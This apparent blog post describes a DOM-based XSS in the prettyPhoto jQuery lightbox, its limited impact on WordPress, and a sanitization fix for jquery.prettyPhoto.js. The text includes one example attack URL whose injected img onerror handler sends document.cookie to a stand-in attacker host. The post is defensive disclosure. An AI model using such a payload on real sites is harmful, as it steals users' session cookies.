prettyPhoto DOM based XSS

Date posted: 2014-05-04
Last updated: 2026-10-04

Uh-oh, a prettyPhoto DOM based XSS on Saotn.org... What it is, why it can be dangerous, and how to fix it in jquery.prettyPhoto.js.

prettyPhoto DOM based XSS on Saotn.org... This evening, after tweeting about preventing cross site scripting vulnerabilities, I received a reply from Olivier Beg. He alerted me that Saotn.org was vulnerable to a DOM based XSS vulnerability, hidden in prettyPhoto, used by my WordPress theme. Whoops! So, I had work to do! But, what is prettyPhoto and what exactly is a DOM based XSS?

prettyPhoto 3.1.4 and 3.1.5 execute script code injected through the URL hash (#prettyPhoto[...]), a DOM based XSS that can steal cookies that are not HttpOnly. Sanitize hashIndex and hashRel in jquery.prettyPhoto.js, or better: replace prettyPhoto altogether.

I originally wrote this post in 2014. prettyPhoto is no longer maintained, and its project page is only available through the Wayback Machine. If a theme or plugin you use still ships it, consider replacing it with a maintained lightbox script.

About prettyPhoto DOM XSS

prettyPhoto is widely used in various WordPress themes and plugins. Olivier was very helpful in identifying the Cross Site Scripting (XSS) source, which gave me a nice starting point to search for a solution.

It turns out this DOM based XSS has existed in prettyPhoto for quite some time. I easily found a reference on Packet Storm and several other blog posts (DOM XSS in w3af.org: Fixed! (Wayback Machine), Kali Linux DOM Based XSS Writeup) describing this vulnerability, possibly in other versions of prettyPhoto.

TL;DR: I decided to implement the fix from this commit in Duncaen's prettyPhoto fork (Wayback Machine link).

What is prettyPhoto?

prettyPhoto is a jQuery lightbox clone. Besides images it supports videos, Flash, YouTube, iframes and Ajax content, which makes it a full blown media lightbox. It is easy to set up, works in every major browser and has an API, so it can be launched from nearly anywhere.

What is a DOM based XSS?

OWASP describes DOM Based XSS (also called "type-0 XSS") as an attack where:

the attack payload is executed as a result of modifying the DOM "environment" in the victim's browser used by the original client side script

The HTTP response of the page itself does not change, but the client side code in the page executes differently because of the malicious modifications in the DOM. This is in contrast to stored or reflected XSS attacks, where the payload is placed in the response page due to a server side flaw.

Why this prettyPhoto XSS is (can be) dangerous

This XSS is dangerous because an admin user can be tricked into clicking a specially crafted link, hosting a script to steal the document.cookie. Imagine the following URL, which triggers the DOM XSS:

http://www.victim.com/#prettyPhoto[pp_gal]/2,<img src=x onerror=javascript:window.open('http://www.evil-attacker.org/sendcookie.php?cookie='+document.cookie)>/

All document.cookie information is sent to www.evil-attacker.org/sendcookie.php when an admin user clicks such a link. Mark it up with some pretty HTML to form something interesting, and you'd be surprised...

prettyPhoto XSS impact on WordPress

The impact of this DOM XSS on WordPress is pretty much non-existent. WordPress fortunately uses HttpOnly cookies. HttpOnly is an additional flag included in a Set-Cookie HTTP response header. Using the HttpOnly flag when generating a cookie helps mitigate the risk of client side script accessing the protected cookie (source: OWASP).

These days all browsers support this feature, and web servers like Apache are patched against Cross Site Tracing vulnerabilities (see XSS: Gaining access to HttpOnly Cookie in 2012).

WordPress cookies are insecure over unsecure Wi-Fi networks

Yan Zhu, at the time a staff technologist at the Electronic Frontier Foundation, found that an attacker could hijack a WordPress user's cookie when the user is connected through an unsecure, public Wi-Fi network. For the wordpress_logged_in_ cookie the Secure flag wasn't set, which caused the cookie to be transmitted in plain text (not encrypted).

Zhu blogged about the vulnerability, and more information is available at Ars Technica too.

The best protection against stolen cookies on public networks is serving your whole site over HTTPS. Read SSL in WordPress: how to move WordPress to HTTPS? The definitive guide.

prettyPhoto DOM XSS impact on other sites

As stated above, WordPress is pretty well secured against this particular Cross Site Scripting vulnerability. However, since prettyPhoto is easy to integrate in websites, all websites not using HttpOnly cookies might be vulnerable!

How to fix prettyPhoto DOM based XSS

You can fix the DOM based XSS in prettyPhoto by opening up jquery.prettyPhoto.js in your favorite editor. Scroll to line 876 and add the lines:

// xss prevention
hashIndex = parseInt(hashIndex);
hashRel = hashRel.replace(/([ #;&,.+*~\':"!^$[\]()=>|\/])/g,'\\$1');

At least versions 3.1.4 and 3.1.5 of prettyPhoto, depending on your download source, are vulnerable to this DOM based XSS. As always, test such code fixes first before putting them in production!

Be careful: the version you can download from the GitHub fork is secured with this fix, but might contain a typo. The latest version from no-margin-for-errors.com is not secured!

Thanks Olivier!

Another XSS in WordPress land: the Akal Premium WordPress theme XSS vulnerability.

I write these posts in my spare time, based on real problems from my day job as a sysadmin. If this one saved you some debugging time, a small donation is much appreciated. Thanks! 🙏

Leave a Comment